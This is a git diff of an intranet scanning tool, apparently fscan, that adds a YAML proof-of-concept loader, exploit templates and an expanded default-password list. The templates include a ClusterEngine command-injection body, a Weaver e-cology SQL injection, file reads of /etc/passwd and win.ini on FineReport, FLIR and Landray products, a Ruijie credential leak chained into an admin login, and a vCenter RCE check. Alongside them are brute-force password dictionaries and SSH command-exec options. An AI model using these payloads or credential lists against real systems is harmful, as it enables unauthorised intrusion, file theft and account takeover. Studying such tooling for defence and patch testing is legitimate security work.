|
||||
}
|
||||
body = append(body, buf...)
|
||||
}
|
||||
} else {
|
||||
raw, err := ioutil.ReadAll(oResp.Body)
|
||||
if err != nil {
|
||||
//utils.Logger.Error(err)
|
||||
return nil, err
|
||||
}
|
||||
defer oResp.Body.Close()
|
||||
body = raw
|
||||
}
|
||||
return body, nil
|
||||
}
|
||||
@@ -4,9 +4,12 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"embed"
|
||||
fmt "fmt"
|
||||
proto "github.com/golang/protobuf/proto"
|
||||
"gopkg.in/yaml.v3"
|
||||
math "math"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Reference imports to suppress errors if they are not otherwise used.
|
||||
@@ -352,3 +355,66 @@ var fileDescriptor_11b04836674e6f94 = []byte{
|
||||
0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00,
|
||||
0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00,
|
||||
}
|
||||
|
||||
type Poc struct {
|
||||
Name string `yaml:"name"`
|
||||
Set map[string]string `yaml:"set"`
|
||||
Sets map[string][]string `yaml:"sets"`
|
||||
Rules []Rules `yaml:"rules"`
|
||||
Detail Detail `yaml:"detail"`
|
||||
}
|
||||
|
||||
type Rules struct {
|
||||
Method string `yaml:"method"`
|
||||
Path string `yaml:"path"`
|
||||
Headers map[string]string `yaml:"headers"`
|
||||
Body string `yaml:"body"`
|
||||
Search string `yaml:"search"`
|
||||
FollowRedirects bool `yaml:"follow_redirects"`
|
||||
Expression string `yaml:"expression"`
|
||||
}
|
||||
|
||||
type Detail struct {
|
||||
Author string `yaml:"author"`
|
||||
Links []string `yaml:"links"`
|
||||
Description string `yaml:"description"`
|
||||
Version string `yaml:"version"`
|
||||
}
|
||||
|
||||
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
|
||||
var pocs []*Poc
|
||||
for _, f := range SelectPoc(Pocs, pocname) {
|
||||
if p, err := loadPoc(f, Pocs); err == nil {
|
||||
pocs = append(pocs, p)
|
||||
}
|
||||
}
|
||||
return pocs
|
||||
}
|
||||
|
||||
func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
|
||||
p := &Poc{}
|
||||
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = yaml.Unmarshal(yamlFile, p)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return p, err
|
||||
}
|
||||
|
||||
func SelectPoc(Pocs embed.FS, pocname string) []string {
|
||||
entries, err := Pocs.ReadDir("pocs")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
var foundFiles []string
|
||||
for _, entry := range entries {
|
||||
if strings.Contains(entry.Name(), pocname) {
|
||||
foundFiles = append(foundFiles, entry.Name())
|
||||
}
|
||||
}
|
||||
return foundFiles
|
||||
}
|
||||
|
||||
@@ -1,71 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"gopkg.in/yaml.v3"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type Poc struct {
|
||||
Name string `yaml:"name"`
|
||||
Set map[string]string `yaml:"set"`
|
||||
Sets map[string][]string `yaml:"sets"`
|
||||
Rules []Rules `yaml:"rules"`
|
||||
Detail Detail `yaml:"detail"`
|
||||
}
|
||||
|
||||
type Rules struct {
|
||||
Method string `yaml:"method"`
|
||||
Path string `yaml:"path"`
|
||||
Headers map[string]string `yaml:"headers"`
|
||||
Body string `yaml:"body"`
|
||||
Search string `yaml:"search"`
|
||||
FollowRedirects bool `yaml:"follow_redirects"`
|
||||
Expression string `yaml:"expression"`
|
||||
}
|
||||
|
||||
type Detail struct {
|
||||
Author string `yaml:"author"`
|
||||
Links []string `yaml:"links"`
|
||||
Description string `yaml:"description"`
|
||||
Version string `yaml:"version"`
|
||||
}
|
||||
|
||||
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
|
||||
var pocs []*Poc
|
||||
for _, f := range SelectPoc(Pocs, pocname) {
|
||||
if p, err := loadPoc(f, Pocs); err == nil {
|
||||
pocs = append(pocs, p)
|
||||
}
|
||||
}
|
||||
return pocs
|
||||
}
|
||||
|
||||
func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
|
||||
p := &Poc{}
|
||||
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = yaml.Unmarshal(yamlFile, p)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return p, err
|
||||
}
|
||||
|
||||
func SelectPoc(Pocs embed.FS, pocname string) []string {
|
||||
entries, err := Pocs.ReadDir("pocs")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
var foundFiles []string
|
||||
for _, entry := range entries {
|
||||
if strings.Contains(entry.Name(), pocname) {
|
||||
foundFiles = append(foundFiles, entry.Name())
|
||||
}
|
||||
}
|
||||
return foundFiles
|
||||
}
|
||||
@@ -1,15 +0,0 @@
|
||||
name: poc-yaml-clusterEngine-rce-cve-2020-21224
|
||||
rules:
|
||||
- method: POST
|
||||
path: /login
|
||||
headers:
|
||||
User-Agent: >-
|
||||
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
|
||||
like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||
body: op=login&username=;`echo 12345678987654321`&password=
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status==200 && response.body.bcontains(b'12345678987654321')
|
||||
detail:
|
||||
author: jdr
|
||||
info: CVE-2020-21224(ClusterEngineV4.0 RCE)
|
||||
@@ -3,10 +3,10 @@ set:
|
||||
rand: randomInt(200000000, 210000000)
|
||||
rules:
|
||||
- method: GET
|
||||
path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20{{rand}}%20as%20id%20from%20HrmResourceManager
|
||||
path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20md5({{rand}})%20as%20id%20from%20HrmResourceManager
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes(string(rand)))
|
||||
response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
|
||||
detail:
|
||||
author: whami-root(https://github.com/whami-root)
|
||||
links:
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
name: poc-yaml-ecology-validate-sqli
|
||||
set:
|
||||
r1: randomInt(8000, 9999)
|
||||
r2: randomInt(800, 1000)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /cpt/manage/validate.jsp?sourcestring=validateNum
|
||||
body: >-
|
||||
sourcestring=validateNum&capitalid=11%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion+select+str({{r1}}*{{r2}})&capitalnum=-10
|
||||
follow_redirects: true
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
|
||||
detail:
|
||||
author: fuping
|
||||
links:
|
||||
- https://news.ssssafe.com/archives/3325
|
||||
- https://www.weaver.com.cn/cs/securityDownload.asp
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1,11 @@
|
||||
name: poc-yaml-finereport-v8-arbitrary-file-read
|
||||
rules:
|
||||
- method: GET
|
||||
path: /WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"rootManagerName") && response.body.bcontains(b"CDATA")
|
||||
detail:
|
||||
author: Facker007(https://github.com/Facker007)
|
||||
links:
|
||||
- http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E5%B8%86%E8%BD%AFOA/%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8%20v8.0%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CNVD-2018-04757.html?h=%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8
|
||||
@@ -0,0 +1,11 @@
|
||||
name: poc-yaml-flir-ax8-file-read
|
||||
rules:
|
||||
- method: GET
|
||||
path: "/download.php?file=/etc/passwd"
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
|
||||
detail:
|
||||
author: Print1n(http://print1n.top)
|
||||
links:
|
||||
- https://juejin.cn/post/6961370156484263972
|
||||
@@ -0,0 +1,10 @@
|
||||
name: poc-yaml-h3c-secparh-any-user-login
|
||||
rules:
|
||||
- method: GET
|
||||
path: "/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin"
|
||||
expression: |
|
||||
response.status == 200 && ("错误的id".bmatches(response.body) || "审计管理员".bmatches(response.body))
|
||||
detail:
|
||||
author: Print1n(https://print1n.top)
|
||||
links:
|
||||
- https://www.pwnwiki.org/index.php?title=H3C_SecParh%E5%A0%A1%E5%A3%98%E6%A9%9F_get_detail_view.php_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6%E7%99%BB%E9%8C%84%E6%BC%8F%E6%B4%9E
|
||||
@@ -0,0 +1,11 @@
|
||||
name: poc-yaml-landray-oa-custom-jsp-fileread
|
||||
rules:
|
||||
- method: POST
|
||||
path: /sys/ui/extend/varkind/custom.jsp
|
||||
body: var={"body":{"file":"file:///c://windows/win.ini"}}
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"for 16-bit app support")
|
||||
detail:
|
||||
author: B1anda0(https://github.com/B1anda0)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/TkUZXKgfEOVqoHKBr3kNdw
|
||||
@@ -0,0 +1,11 @@
|
||||
name: poc-yaml-landray-oa-custom-jsp-fileread
|
||||
rules:
|
||||
- method: POST
|
||||
path: /sys/ui/extend/varkind/custom.jsp
|
||||
body: var={"body":{"file":"file:///etc/passwd"}}
|
||||
expression: |
|
||||
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
|
||||
detail:
|
||||
author: B1anda0(https://github.com/B1anda0)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/TkUZXKgfEOVqoHKBr3kNdw
|
||||
@@ -0,0 +1,24 @@
|
||||
name: poc-yaml-ruijie-eg-info-leak
|
||||
rules:
|
||||
- method: POST
|
||||
path: /login.php
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
username=admin&password=admin?show+webmaster+user
|
||||
expression: "true"
|
||||
search: |
|
||||
{"data":".*?(?P<username>\w+)\s?(?P<password>\w+)","status":1}
|
||||
- method: POST
|
||||
path: /login.php
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
username={{username}}&password={{password}}
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}")
|
||||
detail:
|
||||
author: Search?=Null
|
||||
description: "Ruijie EG网关信息泄漏"
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/jgNyTHSqWA5twyk5tfSQUQ
|
||||
@@ -0,0 +1,15 @@
|
||||
name: poc-yaml-ruijie-nbr1300g-cli-password-leak
|
||||
rules:
|
||||
- method: POST
|
||||
path: /WEB_VMS/LEVEL15/
|
||||
follow_redirects: false
|
||||
headers:
|
||||
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
|
||||
body: |
|
||||
command=show webmaster user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes("webmaster level 2 username guest password guest"))
|
||||
detail:
|
||||
author: abbin777
|
||||
links:
|
||||
- http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7NBR%201300G%E8%B7%AF%E7%94%B1%E5%99%A8%20%E8%B6%8A%E6%9D%83CLI%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
|
||||
@@ -0,0 +1,17 @@
|
||||
name: poc-yaml-vmware-vcenter-cve-2021-21985-rce
|
||||
rules:
|
||||
- method: POST
|
||||
path: /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
body: |-
|
||||
{"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}\x0d\x0a
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"result")
|
||||
detail:
|
||||
vulnpath: "/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData"
|
||||
author: envone77
|
||||
description: "vmware vCenter unauth RCE cve-2021-21985"
|
||||
links:
|
||||
- https://www.anquanke.com/post/id/243098
|
||||
- https://github.com/alt3kx/CVE-2021-21985_PoC
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
+5
-1
@@ -5,6 +5,8 @@ import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
@@ -155,7 +157,9 @@ func CheckErr(text string, err error) {
|
||||
}
|
||||
|
||||
func getpath() string {
|
||||
filename := os.Args[0]
|
||||
file, _ := exec.LookPath(os.Args[0])
|
||||
path1, _ := filepath.Abs(file)
|
||||
filename := filepath.Dir(path1)
|
||||
var path string
|
||||
if strings.Contains(filename, "/") {
|
||||
tmp := strings.Split(filename, `/`)
|
||||
|
||||
+15
-9
@@ -10,23 +10,24 @@ var Userdict = map[string][]string{
|
||||
"mongodb": {"root", "admin"},
|
||||
}
|
||||
|
||||
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "P@ssw0rd!", "P@ssword", "p@ssword", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "huawei"}
|
||||
|
||||
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456"}
|
||||
var PORTList = map[string]int{
|
||||
"ftp": 21,
|
||||
"ssh": 22,
|
||||
"mem": 11211,
|
||||
"mgo": 27017,
|
||||
"findnet": 135,
|
||||
"netbios": 139,
|
||||
"smb": 445,
|
||||
"mssql": 1433,
|
||||
"mysql": 3306,
|
||||
"psql": 5432,
|
||||
"redis": 6379,
|
||||
"mysql": 3306,
|
||||
"smb": 445,
|
||||
"fcgi": 9000,
|
||||
"mem": 11211,
|
||||
"mgo": 27017,
|
||||
"ms17010": 1000001,
|
||||
"cve20200796": 1000002,
|
||||
"web": 1000003,
|
||||
"findnet": 135,
|
||||
"netbios": 139,
|
||||
"smb2": 1000004,
|
||||
"all": 0,
|
||||
"portscan": 0,
|
||||
"icmp": 0,
|
||||
@@ -36,20 +37,24 @@ var PORTList = map[string]int{
|
||||
var Outputfile = getpath() + "result.txt"
|
||||
var IsSave = true
|
||||
var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1118,1888,2008,2020,2100,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018"
|
||||
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9200,11211,27017"
|
||||
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017"
|
||||
|
||||
type HostInfo struct {
|
||||
Host string
|
||||
Ports string
|
||||
Domain string
|
||||
Url string
|
||||
Path string
|
||||
Timeout int64
|
||||
Scantype string
|
||||
Command string
|
||||
SshKey string
|
||||
Username string
|
||||
Password string
|
||||
Usernames []string
|
||||
Passwords []string
|
||||
Infostr []string
|
||||
Hash string
|
||||
}
|
||||
|
||||
type PocInfo struct {
|
||||
@@ -85,4 +90,5 @@ var (
|
||||
UrlFile string
|
||||
Urls []string
|
||||
NoPorts string
|
||||
SC string
|
||||
)
|
||||
|
||||
+3
-1
@@ -11,7 +11,7 @@ func Banner() {
|
||||
/ /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ /
|
||||
/ /_\\_____\__ \ (__| | | (_| | (__| <
|
||||
\____/ |___/\___|_| \__,_|\___|_|\_\
|
||||
fscan version: 1.6.0
|
||||
fscan version: 1.6.3
|
||||
`
|
||||
print(banner)
|
||||
}
|
||||
@@ -22,11 +22,13 @@ func Flag(Info *HostInfo) {
|
||||
flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
|
||||
flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445")
|
||||
flag.StringVar(&Info.Command, "c", "", "exec command (ssh)")
|
||||
flag.StringVar(&Info.SshKey, "sshkey", "", "sshkey file (id_rsa)")
|
||||
flag.StringVar(&Info.Domain, "domain", "", "smb domain")
|
||||
flag.StringVar(&Info.Username, "user", "", "username")
|
||||
flag.StringVar(&Info.Password, "pwd", "", "password")
|
||||
flag.Int64Var(&Info.Timeout, "time", 3, "Set timeout")
|
||||
flag.StringVar(&Info.Scantype, "m", "all", "Select scan type ,as: -m ssh")
|
||||
flag.StringVar(&Info.Path, "path", "", "fcgi、smb romote file path")
|
||||
flag.IntVar(&Threads, "t", 600, "Thread nums")
|
||||
flag.StringVar(&HostFile, "hf", "", "host file, -hs ip.txt")
|
||||
flag.StringVar(&Userfile, "userf", "", "username file")
|
||||
|
||||
+5
-5
@@ -18,13 +18,13 @@ var WaitTime int64
|
||||
var Silent bool
|
||||
var LogWG sync.WaitGroup
|
||||
|
||||
func init() {
|
||||
go SaveLog()
|
||||
}
|
||||
|
||||
func LogSuccess(result string) {
|
||||
LogWG.Add(1)
|
||||
LogSucTime = time.Now().Unix()
|
||||
if Start {
|
||||
go SaveLog()
|
||||
Start = false
|
||||
}
|
||||
Results <- result
|
||||
}
|
||||
|
||||
@@ -73,9 +73,9 @@ func CheckErrs(err error) bool {
|
||||
"established connection failed", "connection attempt failed",
|
||||
"Unable to read", "is not allowed to connect to this",
|
||||
"no pg_hba.conf entry",
|
||||
"no supported methods remain",
|
||||
"No connection could be made",
|
||||
"invalid packet size",
|
||||
"bad connection",
|
||||
}
|
||||
for _, key := range errs {
|
||||
if strings.Contains(strings.ToLower(err.Error()), strings.ToLower(key)) {
|
||||
|
||||
@@ -9,8 +9,9 @@ require (
|
||||
github.com/google/cel-go v0.6.0
|
||||
github.com/jlaffaye/ftp v0.0.0-20210307004419-5d4190119067
|
||||
github.com/lib/pq v1.10.1
|
||||
github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca
|
||||
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
|
||||
golang.org/x/crypto v0.0.0-20190325154230-a5d413f7728c
|
||||
golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de
|
||||
golang.org/x/net v0.0.0-20200301022130-244492dfa37a
|
||||
golang.org/x/text v0.3.2
|
||||
google.golang.org/genproto v0.0.0-20200416231807-8751e049a2a0
|
||||
|
||||
@@ -4,155 +4,95 @@ github.com/antlr/antlr4 v0.0.0-20200503195918-621b933c7a7f h1:0cEys61Sr2hUBEXfNV
|
||||
github.com/antlr/antlr4 v0.0.0-20200503195918-621b933c7a7f/go.mod h1:T7PbCXFs94rrTttyxjbyT5+/1V8T2TYDejxUfHJjw1Y=
|
||||
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
||||
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
|
||||
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
|
||||
github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
|
||||
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/denisenkom/go-mssqldb v0.10.0 h1:QykgLZBorFE95+gO3u9esLd0BmbvpWp0/waNNZfHBM8=
|
||||
github.com/denisenkom/go-mssqldb v0.10.0/go.mod h1:xbL0rPBG9cCiLr28tMa8zpbdarY27NDyej4t/EjAShU=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk=
|
||||
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
|
||||
github.com/geoffgarside/ber v1.1.0 h1:qTmFG4jJbwiSzSXoNJeHcOprVzZ8Ulde2Rrrifu5U9w=
|
||||
github.com/geoffgarside/ber v1.1.0/go.mod h1:jVPKeCbj6MvQZhwLYsGwaGI52oUorHoHKNecGT85ZCc=
|
||||
github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE=
|
||||
github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
|
||||
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY=
|
||||
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0=
|
||||
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58=
|
||||
